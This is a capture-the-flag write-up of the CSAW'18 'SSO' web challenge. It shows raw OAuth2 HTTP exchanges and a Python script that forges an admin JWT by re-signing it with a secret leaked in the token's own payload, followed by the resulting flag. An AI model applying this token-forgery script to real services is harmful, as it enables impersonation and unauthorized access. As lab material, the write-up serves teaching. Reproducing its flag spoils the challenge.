CSAW’18 CTF Qualification: SSO
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
CSAW’18 CTF Qualification | SSO | Web | 100 | 200 |
Description
Don’t you love undocumented APIs
Be the
admin
you were always meant to be
TL;DR
This challenge consists in the analysis of an authentication flow based on the OAuth2.0 protocol (see RFC-6749 and RFC-6750).
The task was not that complex, it was only a matter of careful analysis of RFCs in order to solve the challenge.
Methology
By reading the description of this challenge, we are informed that the goal of the challenge will be to impersonate an administrator.
Let’s browse the first web page:
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
<a href="/protected">.</a>
<!--
Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
POST /oauth2/token
POST /oauth2/authorize form-data TODO: make a form for this route
--!>
At first glance, the goal of the challenge is to use the OAuth2.0 API
in order to gain access to the /protected
web page.
By reading some RFCs related to the OAuth2 protocol, we quickly understand the role of the two endpoints:
/oauth2/authorize
: allows the client to make anAuthorization Request
by passing the following parameters:response_type
(required): the value must be set tocode
;redirect_uri
(required): the absolute URI that will be passed to the redirection endpoint.
/oauth2/token
: allows the client to make anAccess Token Request
by passing the following parameters:grant_type
(required): the value must be set toauthorization_code
;code
(required): the authorization code received from the authorization server;redirect_uri
(required): the absolute URI that will be passed to the redirection endpoint.
As mentioned in the comments of the first web page, the OAuth authorization process has not been automated, we will have to manage the flow manually…
Using Burp Suite, let’s check manually the authentication flow process!
First, we need to make the Authorization Request
:
POST /oauth2/authorize HTTP/1.1
Host: web.chal.csaw.io:9000
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
response_type=code&redirect_uri=http://web.chal.csaw.io:9000/protected
HTTP/1.1 302 Found
Location: http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzEyNzE2MCwiZXhwIjoxNTM3MTI3NzYwfQ.u1HSgN_JuRmE7nZI6eIx_k2DnynZrsPdxB1ajWWh570&state=
Content-Type: text/html; charset=utf-8
Content-Length: 547
Date: Sun, 16 Sep 2018 19:46:00 GMT
Connection: keep-alive
Redirecting to <a href="http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzEyNzE2MCwiZXhwIjoxNTM3MTI3NzYwfQ.u1HSgN_JuRmE7nZI6eIx_k2DnynZrsPdxB1ajWWh570&state=">http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzEyNzE2MCwiZXhwIjoxNTM3MTI3NzYwfQ.u1HSgN_JuRmE7nZI6eIx_k2DnynZrsPdxB1ajWWh570&state=</a>.
Ok, let’s grab the authorization code and send the Access Token Request
:
POST /oauth2/token HTTP/1.1
Host: web.chal.csaw.io:9000
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 290
grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzEyNzE2MCwiZXhwIjoxNTM3MTI3NzYwfQ.u1HSgN_JuRmE7nZI6eIx_k2DnynZrsPdxB1ajWWh570&redirect_uri=http://web.chal.csaw.io:9000/protected
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 209
Date: Sun, 16 Sep 2018 19:46:14 GMT
Connection: close
{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzEyNzE3NCwiZXhwIjoxNTM3MTI3Nzc0fQ.T--PNhyy18uJRI4Kh7PIV--Kv55Q3QmLmb03p28JCcA"}
We just obtained a JWT access token, let’s analyze it quickly using jwt.io:
{
"header": {
"alg": "HS256",
"typ": "JWT"
},
"payload": {
"type": "user",
"secret": "ufoundme!",
"iat": 1537127174,
"exp": 1537127774
},
"signature": ...
}
Now that we’ve successfully obtained an access token that is required
to make a protected resource request, we’ve to gain admin
access.
After few tries, we finally understood that the secret
entry was
a hint to generate a new valid JWT token using the following operation:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
Let’s implement this algorithm with Python:
#!/usr/bin/env python3
# -*- coding: utf8 -*-
import base64
import time
import hashlib
import hmac
import json
import sys
from collections import OrderedDict
def dump_tokens(jwt):
p1, p2, p3 = jwt.split('.', 3)
header = decode_token(p1)
payload = decode_token(p2)
return header, payload
def decode_token(token):
token_len = len(token)
padded_token = token.ljust(token_len + (token_len % 4), '=')
dict_ = json.loads(base64.b64decode(padded_token), object_pairs_hook=OrderedDict)
return dict_
def base64_encode(data):
return base64.b64encode(data).decode().strip('=')
def encode_token(dict_):
json_data = json.dumps(dict_, separators=(',', ':')).encode()
token = base64_encode(json_data)
return token
def sign_token(header, payload, secret):
jwt = encode_token(header) + '.' # header
jwt += encode_token(payload) + '.' # payload
signature = base64_encode(hmac.new(secret.encode(), jwt[:-1].encode(), hashlib.sha256).digest())
signature = signature.replace('/', '_').replace('+', '-')
jwt += signature
return jwt
if len(sys.argv) < 1:
print(f'Usage {sys.argv[0]} <jwt>')
else:
header, payload = dump_tokens(sys.argv[1]) # get original JWT as dict
print(f'''Original JWT values:
* header: {dict(header)}
* payload: {dict(payload)}
''')
new_header = header
new_payload = payload
# Update user type
new_payload['type'] = 'admin'
# Update expiration time
unix_ts = int(time.time())
flag_window = 600
new_payload['iat'] = unix_ts
new_payload['exp'] = unix_ts + flag_window
print(f'''New JWT values:
* header: {dict(header)}
* payload: {dict(payload)}
''')
# Generate new JWT (signature)
new_jwt = sign_token(header, payload, payload['secret'])
print(f'New signed JWT: {new_jwt}')
Generate a new JWT:
python3 jwt_tamper.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzEyNzE3NCwiZXhwIjoxNTM3MTI3Nzc0fQ.T--PNhyy18uJRI4Kh7PIV--Kv55Q3QmLmb03p28JCcA
Output:
Original JWT values:
* header: {'alg': 'HS256', 'typ': 'JWT'}
* payload: {'type': 'user', 'secret': 'ufoundme!', 'iat': 1537127174, 'exp': 1537127774}
New JWT values:
* header: {'alg': 'HS256', 'typ': 'JWT'}
* payload: {'type': 'admin', 'secret': 'ufoundme!', 'iat': 1537128195, 'exp': 1537128795}
New signed JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcxMjgxOTUsImV4cCI6MTUzNzEyODc5NX0.scBRG2vZoiZna9pFs0lenss-ZwPwFXCoWgU_nHBaYrM
Now let’s send the final protected resource request:
GET /protected HTTP/1.1
Host: web.chal.csaw.io:9000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcxMjgxOTUsImV4cCI6MTUzNzEyODc5NX0.scBRG2vZoiZna9pFs0lenss-ZwPwFXCoWgU_nHBaYrM
Connection: close
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 127
Date: Sun, 16 Sep 2018 20:04:13 GMT
Connection: close
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}
Final flag:
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}
Creased & DrStache